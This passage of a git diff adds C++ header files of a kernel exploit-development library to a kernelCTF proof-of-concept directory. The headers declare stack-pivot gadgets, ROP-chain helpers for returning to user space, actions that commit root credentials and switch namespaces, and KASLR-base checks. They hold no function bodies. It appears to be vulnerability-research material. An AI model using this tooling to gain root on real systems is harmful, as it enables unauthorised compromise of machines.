JMP, CALL }; + +/** + * @ingroup pivot_classes + * @brief Base struct for all pivot gadgets. + */ +struct Pivot { + uint64_t address; +}; + +/** + * @ingroup pivot_classes + * @brief Represents the usage of a register and the offsets relative to it that are used. + */ +struct RegisterUsage { + /** @brief The register being used. */ + Register reg; + /** @brief A vector of offsets relative to the register that are used. */ + std::vector used_offsets; +}; + +/** + * @ingroup pivot_classes + * @brief Represents a stack shifting pivot gadget. + */ +struct StackShiftPivot: Pivot { + /** @brief The offset from the new stack pointer where the next return address is expected. */ + uint64_t ret_offset; + /** @brief The amount by which the stack pointer is shifted. */ + uint64_t shift_amount; + + /** + * @brief Checks if the gadget jumps to the shifted stack location. + * @return True if the gadget jumps to the shifted stack location, false otherwise. + */ + bool JumpsToShift() const { return ret_offset == shift_amount - 8; } +}; + +/** + * @ingroup pivot_classes + * @brief Represents a one-gadget pivot. + */ +struct OneGadgetPivot: Pivot { + /** @brief Information about the register used for the pivot. */ + RegisterUsage pivot_reg; + /** @brief The offset from the pivot register's value to the next instruction pointer. */ + int64_t next_rip_offset; +}; + +/** + * @ingroup pivot_classes + * @brief Represents a push indirect pivot gadget. + */ +struct PushIndirectPivot: Pivot { + /** @brief The type of indirect jump (JMP or CALL). */ + IndirectType indirect_type; + /** @brief Information about the register being pushed onto the stack. */ + RegisterUsage push_reg; + /** @brief Information about the register containing the indirect address. */ + RegisterUsage indirect_reg; + /** @brief The offset from the indirect register's value to the next instruction pointer. */ + int64_t next_rip_offset; +}; + +/** + * @ingroup pivot_classes + * @brief Represents a pop RSP pivot gadget. + */ +struct PopRspPivot: Pivot { + /** @brief The change in the stack pointer before the RSP register is popped. */ + uint64_t stack_change_before_rsp; + /** @brief The offset from the new RSP value to the next instruction pointer. */ + int64_t next_rip_offset; +}; + +/** + * @ingroup pivot_classes + * @brief A collection of different types of pivot gadgets. + */ +struct Pivots { + /** @brief A vector of one-gadget pivots. */ + std::vector one_gadgets; + /** @brief A vector of push indirect pivots. */ + std::vector push_indirects; + /** @brief A vector of pop RSP pivots. */ + std::vector pop_rsps; + /** @brief A vector of stack shifting pivots. */ + std::vector stack_shifts; +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/StackPivot.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/StackPivot.h new file mode 100755 index 000000000..ad4e06056 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/StackPivot.h @@ -0,0 +1,84 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Represents a potential stack pivot gadget or sequence of gadgets. + * + * This class encapsulates information about different types of stack pivots (one-gadget, push/pop) and provides methods to apply them to a payload. + */ +class StackPivot { + std::optional one_gadget_; + std::optional push_gadget_; + std::optional pop_gadget_; +public: + /** + * @brief Constructs a StackPivot from a OneGadgetPivot. + * @param one_gadget The OneGadgetPivot to use. + */ +StackPivot(const OneGadgetPivot& one_gadget); + +/** + * @brief Constructs a StackPivot from a PushIndirectPivot and a PopRspPivot. + * @param push_gadget The PushIndirectPivot to use. + * @param pop_gadget The PopRspPivot to use. + */ +StackPivot(const PushIndirectPivot& push_gadget, const PopRspPivot& pop_gadget); + +/** + * @brief Gets a string description of the stack pivot. + * @param include_clobbers Whether to include information about clobbered + * offsets in the description. + * @return A string describing the stack pivot. + * @throws ExpKitError if the StackPivot is in an invalid state. + */ +std::string GetDescription(bool include_clobbers = true) const; + +/** + * @brief Gets the address of the primary gadget in the stack pivot. + * @return The address of the primary gadget. + */ +uint64_t GetGadgetOffset(); + +/** + * @brief Gets the destination offset within the buffer where the pivot will + * transfer execution. + * @return The destination offset. + * + * This is typically the location where the next instruction or ROP chain + * should be placed. + */ +uint64_t GetDestinationOffset() const; + +/** + * @brief Applies the stack pivot to a given payload. + * @param payload The Payload object to modify. + * @param kaslr_base The KASLR base address. + */ +void ApplyToPayload(Payload& payload, uint64_t kaslr_base); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/StackShiftInfo.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/StackShiftInfo.h new file mode 100755 index 000000000..0a40feab4 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/pivot/StackShiftInfo.h @@ -0,0 +1,53 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include + +/** + * @defgroup pivot_classes Pivot Classes + * @brief Classes for stack pivoting and related techniques. + */ + +/** + * @ingroup pivot_classes + * @brief Represents information about a single stack shifting gadget within a chain. + */ +struct StackShiftInfo { + /// @brief The offset within the payload where the address of this stack shift pivot is written. + uint64_t ret_offset; + /// @brief The stack shift pivot gadget. + const StackShiftPivot pivot; +}; + +/** + * @ingroup pivot_classes + * @brief Stores information about a chain of stack shifting gadgets. + */ +struct StackShiftingInfo { + /// @brief A vector of individual stack shift gadget information. + std::vector stack_shifts; + /// @brief The starting offset within the payload where the first stack shift pivot address is written. + uint64_t from_offset; + uint64_t to_offset; + uint64_t next_ret_offset; + + void Apply(uint64_t kaslr_base, Payload& payload); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/postrip.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/postrip.h new file mode 100755 index 000000000..817a0d903 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/postrip.h @@ -0,0 +1,21 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#include +#include +#include +#include +#include diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/rip/RopUtils.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/rip/RopUtils.h new file mode 100755 index 000000000..b020bcae3 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/rip/RopUtils.h @@ -0,0 +1,46 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +/** + * @defgroup rip_classes RIP Classes + * @brief Classes related to Return-Oriented Programming (ROP) utilities. + */ + +/** + * @ingroup rip_classes + * @class RopUtils + * @brief Utility functions for ROP chain generation. + */ +class RopUtils { +public: + /** + * @brief Generates a ROP chain to return to user space after a kernel exploit. + * + * This function sets up a fake user stack and uses the KPTI trampoline to transition back to user space. + * @param rop The RopChain object to add the return-to-user ROP action to. + * @param after_lpe_func The address of the function to execute in user space after returning from the kernel. + * @param stack_size The size of the fake user stack to allocate (default is 0x8000). + * @param redzone_size The size of the redzone at the end of the fake user stack (default is 0x100). + */ + static void Ret2Usr(RopChain& rop, void* after_lpe_func, + size_t stack_size = 0x8000, size_t redzone_size = 0x100); +}; diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/target/Target.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/target/Target.h new file mode 100755 index 000000000..61ee7155b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/target/Target.h @@ -0,0 +1,201 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include + +/** + * @defgroup target_classes Target Classes + * @brief Classes for managing and representing targets. + */ + +/** + * @ingroup target_classes + * @brief Enum for predefined ROP action IDs. + */ +enum struct RopActionId: uint32_t { + MSLEEP = 0x01, + COMMIT_INIT_TASK_CREDS = 0x02, + SWITCH_TASK_NAMESPACES = 0x03, + WRITE_WHAT_WHERE_64 = 0x04, + FORK = 0x5, + TELEFORK = 0x6, + KPTI_TRAMPOLINE = 0x07, +}; + +/** + * @ingroup target_classes + * @brief Enum for the types of ROP items. + */ +enum struct RopItemType: uint8_t { + CONSTANT_VALUE = 0, + SYMBOL = 1, + ARGUMENT = 2 +}; + +/** + * @ingroup target_classes + * @brief Represents a single item in a ROP chain. + */ +struct RopItem { + RopItemType type; + uint64_t value; + + RopItem(RopItemType type, uint64_t value): type(type), value(value) { } +}; + +/** + * @ingroup target_classes + * @brief Metadata for a ROP action argument. + */ +struct RopActionArgMeta { + std::string name; + bool required; + uint64_t default_value; + + RopActionArgMeta(std::string name, bool required, uint64_t default_value) + : name(name), required(required), default_value(default_value) { } +}; + +/** + * @ingroup target_classes + * @brief Metadata for a ROP action. + */ +struct RopActionMeta { + std::string desc; + std::vector args; + + RopActionMeta() {} + RopActionMeta(std::string desc): desc(desc) { } +}; + +/** + * @ingroup target_classes + * @brief Represents a field within a struct. + */ +struct StructField { + std::string name; + uint64_t offset; + uint64_t size; +}; + +/** + * @ingroup target_classes + * @brief Represents a kernel struct definition. + */ +struct Struct { + std::string name; + uint64_t size; + std::map fields; +}; + +/** + * @ingroup target_classes + * @class Target + * @brief Represents a specific kernel target with its symbols, ROP gadgets, and other definitions. + */ +class Target { +protected: + std::string distro; + std::string release_name; + std::string version; + std::map symbols; + std::map> rop_actions; + std::map structs; + Pivots pivots; + +public: + /** + * @brief Constructor for a Target. + * @param distro The distribution name. + * @param release_name The release name. + * @param version The version string (optional). + */ + Target(const std::string& distro, const std::string& release_name, + const std::string& version = ""); + + const std::string& GetDistro() const; + const std::string& GetReleaseName() const; + const std::string& GetVersion() const; + + /** + * @brief Get the offset of a symbol within the target. + * @param symbol_name The name of the symbol. + * @return The offset of the symbol. + * @throws ExpKitError if the symbol is not found or has an offset of 0. + */ + uint32_t GetSymbolOffset(std::string symbol_name); + + /** + * @brief Get the ROP items for a specific ROP action ID. + * @param id The ROP action ID. + * @return A vector of ROP items for the specified action. + * @throws ExpKitError if the ROP action ID is not found. + */ + std::vector GetRopActionItems(RopActionId id); + + const Struct& GetStruct(const std::string& name); + + const Pivots& GetPivots(); + + std::map GetAllSymbols(); + + /** + * @brief Add a symbol to the target. + * @param name The name of the symbol. + * @param value The value (offset) of the symbol without the base address. + */ + void AddSymbol(const std::string& name, uint64_t value); + + /** + * @brief Add a ROP Action to the target. + * @param name The name of the ROP Action. + * @param value The ROP Action items (array of RopItem). + */ + void AddRopAction(const std::string& name, std::vector value); + + /** + * @brief Add a struct definition to the target. + * @param value The struct structure + */ + void AddStruct(const Struct& value); + + /** + * @brief Add a struct definition to the target. + * @param name The name of the struct. + * @param size The size of the struct. + * @param fields A vector of StructField objects representing the fields of the struct. + */ + void AddStruct(const std::string& name, uint64_t size, + const std::vector& fields); + + /** + * @brief Sets the Pivots struct for the target. + * @param pivots The pivots struct + */ + void SetPivots(const Pivots& pivots); + + void Merge(const Target& src); + + uint64_t GetStructSize(const std::string& struct_name); + uint64_t GetFieldOffset(const std::string& struct_name, const std::string& field_name); + uint64_t GetFieldSize(const std::string& struct_name, const std::string& field_name); +}; diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/target/TargetDb.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/target/TargetDb.h new file mode 100755 index 000000000..5f7905012 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/target/TargetDb.h @@ -0,0 +1,112 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include + +class KxdbParser; +/** + * @defgroup target_classes Target Classes + * @brief Classes for managing and representing targets. + */ + +/** + * @ingroup target_classes + * @class TargetDb + * @brief Manages a database of kernel targets, including both static and dynamically parsed ones. + */ +class TargetDb { + std::unique_ptr parser_; + + std::vector static_targets_; + std::map by_version_; + std::map by_distro_release_; + + /** + * @brief Merges data from a source Target object into a destination Target object. + * @param dst The destination Target object to merge into. + * @param src The source Target object to merge from. + */ + void MergeTargets(Target& dst, const Target& src); + + /** + * @brief Retrieves a Target object, merging data from a KxdbParser target and a target if available. + * @param target_opt An optional Target object parsed from a KXDB file. + * @param static_idx An optional index of a target to merge. + * @return The merged Target object. + * @throws ExpKitError if both target_opt and static_idx are not provided. + */ + Target GetTarget(std::optional target_opt, + std::optional static_idx); + +public: + // declare destructor + ~TargetDb(); + TargetDb() = default; + + /** + * @brief Constructs a TargetDb object. + * @param filename A database file to read from. + */ + TargetDb(const std::string &filename); + + /** + * @brief Constructs a TargetDb object from a byte buffer. + * @param data The buffer containing the KXDB file data. + */ + TargetDb(const std::vector& data); + + /** + * @brief Constructs a TargetDb object. + * @param filename A database file to read from if exists. + * @param fallback_kxdb The buffer containing the fallback / built-in KXDB file data if the file does not exists. + */ + TargetDb(const std::string& filename, const std::vector& fallback_kxdb); + + /** + * @brief Adds a target to the database. + * @param target The target to add. + */ + void AddTarget(const Target& target); + + /** + * @brief Retrieves a Target object by distro and release name. + * @param distro The distribution name. + * @param release_name The release name. + * @return The Target object. + */ + Target GetTarget(const std::string& distro, + const std::string& release_name); + + /** + * @brief Retrieves a Target object by version. + * @param version The version string. + * @return The Target object. + */ + Target GetTarget(const std::string& version); + + /** + * @brief Automatically detects the target based on the system's kernel version. + * @return The detected Target object. + * @throws ExpKitError if the target cannot be detected. + */ + Target AutoDetectTarget(); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/HexDump.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/HexDump.h new file mode 100755 index 000000000..e0c63f809 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/HexDump.h @@ -0,0 +1,74 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @class HexDump + * @brief Utility class for generating hexadecimal dumps of memory. + */ +class HexDump { +public: + /** + * @brief Generates a hexadecimal dump of a memory buffer into a character array. + * @param dst The destination character array to write the dump to. + * @param buf The buffer containing the data to dump. + * @param len The number of bytes to dump. + * @note The dst buf needs to be large enough to store all the data. 16 bytes are converted into: "00 11 22 33 44 55 66 77 88 99 AA BB CC DD EE FF | 0123456789ABCDEF\n" (70 bytes) + */ +static void Dump(char* dst, const uint8_t* buf, int len); + +/** + * @brief Generates a hexadecimal dump of a memory buffer into a string. + * @param buf The buffer containing the data to dump. + * @param len The number of bytes to dump. + * @return A string containing the hexadecimal dump. + */ +static std::string Dump(const void* buf, int len); + +/** + * @brief Generates a hexadecimal dump of a vector of bytes into a string. + * @param data The vector of bytes to dump. + * @return A string containing the hexadecimal dump. + */ +static std::string Dump(const std::vector& data); + +/** + * @brief Prints a hexadecimal dump of a memory buffer to the standard output. + * @param buf The buffer containing the data to dump. + * @param len The number of bytes to dump. + */ +static void Print(const void* buf, int len); + +/** + * @brief Prints a hexadecimal dump of a vector of bytes to the standard + * output. + * @param data The vector of bytes to dump. + */ +static void Print(const std::vector& data); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/Register.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/Register.h new file mode 100755 index 000000000..97e3ce3b6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/Register.h @@ -0,0 +1,34 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief Enum representing x86-64 general-purpose registers. + */ +enum class Register { RAX = 0, RBX, RCX, RDX, RSI, RDI, RBP, RSP, R8, R9, R10, R11, R12, R13, R14, R15 }; + +/** + * @ingroup util_classes + * @brief An array of human-readable names for the Register enum values. + */ +extern const char* register_names[]; diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/Syscalls.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/Syscalls.h new file mode 100755 index 000000000..48523b6d6 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/Syscalls.h @@ -0,0 +1,152 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief A type definition for a file descriptor. + */ +typedef int fd; + +/** + * @ingroup util_classes + * @brief A type definition for an array of two file descriptors for a pipe. + */ +typedef fd pipefds[2]; + +/** + * @ingroup util_classes + * @class Syscalls + * @brief A wrapper class for common system calls with error checking. + */ +class Syscalls { + /** + * @brief Checks the result of a system call against an expected value. + * @param result The actual result of the system call. + * @param expected The expected result of the system call (defaults to 0). + * @param syscall_name The name of the system call (defaults to the current function name). + * @throws errno_error if the result is -1 (indicating a system error). + * @throws ExpKitError if the result does not match the expected value. + */ + static void __check(int result, int expected = 0, + const char* syscall_name = __builtin_FUNCTION()); + + /** + * @brief Checks if the result of a system call is valid (not -1 and not negative). + * @tparam T The type of the result. + * @param result The result of the system call. + * @param syscall_name The name of the system call (defaults to the current function name). + * @return The result of the system call if it is valid. + * @throws errno_error if the result is -1 (indicating a system error). + * @throws ExpKitError if the result is a negative number unexpectedly. + */ + template + static T __check_valid(T result, + const char* syscall_name = __builtin_FUNCTION()); + +public: + /** + * @brief Wraps the open system call with error checking. + * @param file The path to the file. + * @param oflag The flags for opening the file. + * @return The file descriptor. + * @throws ExpKitError if the system call fails. + */ + static int open(const char* file, int oflag); + + /** + * @brief Wraps the read system call with error checking. + * @param fd The file descriptor to read from. + * @param buf The buffer to store the read data. + * @param n The number of bytes to read. + * @throws ExpKitError if the system call fails or reads an unexpected number + * of bytes. + */ + static void read(fd fd, void* buf, size_t n); + + /** + * @brief Wraps the write system call with error checking. + * @param fd The file descriptor to write to. + * @param buf The buffer containing the data to write. + * @param n The number of bytes to write. + * @throws ExpKitError if the system call fails or writes an unexpected number + * of bytes. + */ + static void write(fd fd, const void* buf, size_t n); + + /** + * @brief Wraps the ioctl system call with error checking. + * @param fd The file descriptor. + * @param request The ioctl request. + * @param arg The argument for the ioctl request. + * @return The result of the ioctl system call. + * @throws ExpKitError if the system call fails. + */ + static int ioctl(int fd, unsigned long int request, void* arg); + + /** + * @brief Wraps the close system call with error checking. + * @param fd The file descriptor to close. + * @throws ExpKitError if the system call fails. + */ + static void close(fd fd); + + /** + * @brief Wraps the pipe system call with error checking. + * @param pipefds An array to hold the file descriptors for the read and write + * ends of the pipe. + * @throws ExpKitError if the system call fails. + */ + static void pipe(pipefds pipefds); + + /** + * @brief Wraps the stat() system call with error checking. + * @param path The path argument passed to the stat() syscall. + * @throws ExpKitError if the system call fails. + */ + static struct stat stat(const char* path); + + /** + * @brief Wraps the unshare() system call with error checking. + * @param flags The flags argument passed to the unshare() syscall. + * @throws ExpKitError if the system call fails. + */ + static void unshare(int flags); + + /** + * @brief Wraps the readlink() system call with error checking. + * @param path The path argument passed to the unshare() syscall. + * @param bufsize Maximum expected size of the result path. + * @throws ExpKitError if the system call fails or if the bufsize was not big enough. + */ + static std::string readlink(const char* path, size_t bufsize = 256); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/error.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/error.h new file mode 100755 index 000000000..8c8ee0f22 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/error.h @@ -0,0 +1,67 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include + +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief Custom exception class for ExpKit-specific errors. + */ +struct ExpKitError : public std::runtime_error { + /** + * @brief Constructs an ExpKitError with a single error message. + * @param error_msg The error message. + */ + template + ExpKitError(const char* error_msg): std::runtime_error(error_msg) {} + + /** + * @brief Constructs an ExpKitError with a formatted error message. + * @tparam Args The types of the arguments for the format string. + * @param format The format string. + * @param args The arguments for the format string. + */ + template + ExpKitError(const char* format, const Args&... args): std::runtime_error(format_str(format, args...)) {} +}; + +/** + * @ingroup util_classes + * @brief Represents an error based on the current value of errno. + */ +struct errno_error: std::system_error { + /** + * @brief Constructs an errno_error with the current errno value. + */ + errno_error(); + + /** + * @brief Constructs an errno_error with the current errno value and an additional message. + * @param __what An additional message describing the error. + */ + errno_error(const char* __what); +}; \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/incbin.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/incbin.h new file mode 100755 index 000000000..7cf757c15 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/incbin.h @@ -0,0 +1,35 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + + #pragma once + #include + + /** + * @brief Includes a binary file into the executable. + * @param var_name The name for the included data and size variables. + * @param filename The path to the binary file to include. + */ +#define INCBIN(var_name, filename) \ + __asm__(".section .rodata\n" \ + #var_name "_begin:\n" \ + ".incbin \"" filename "\"\n" \ + #var_name "_end:\n" \ + ); \ + extern const unsigned char var_name ## _begin[]; \ + extern const unsigned char var_name ## _end[]; \ + __asm__(".section .bss\n"); \ + extern const size_t var_name ## _size = var_name ## _end - var_name ## _begin; \ + std::vector var_name = std::vector(var_name ## _begin, var_name ## _end); diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/pwn_utils.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/pwn_utils.h new file mode 100755 index 000000000..f5d57437b --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/pwn_utils.h @@ -0,0 +1,51 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * @ingroup util_classes + * @brief Checks if the provided address is a valid KASLR base address. + * + * @param kbase_addr The address to check. + * @return True if the address is a valid KASLR base, false otherwise. + */ +bool is_kaslr_base(uint64_t kbase_addr); + +/** + * @ingroup util_classes + * @brief Checks if the provided address is a valid KASLR base address. + * + * @param kbase_addr The address to check. + * @return The checked KASLR base address if valid. + */ +uint64_t check_kaslr_base(uint64_t kbase_addr); + +/** + * @ingroup util_classes + * @brief Checks if the provided address is a valid kernel heap pointer. + * + * @param heap_leak The address to check. + * @return The checked kernel heap pointer if valid. + */ +uint64_t check_heap_ptr(uint64_t heap_leak); \ No newline at end of file diff --git a/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/str.h b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/str.h new file mode 100755 index 000000000..8091de118 --- /dev/null +++ b/pocs/linux/kernelctf/CVE-2026-64560_lts/exploit/lts-6.12.89/libxdk-v0.1/xdk/util/str.h @@ -0,0 +1,101 @@ +/* + * Copyright 2025 Google LLC + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ + +#pragma once + +#include +#include +#include +#include + +/** + * @defgroup util_classes Utility Classes + * @brief Helper classes for various utilities. + */ + +/** + * 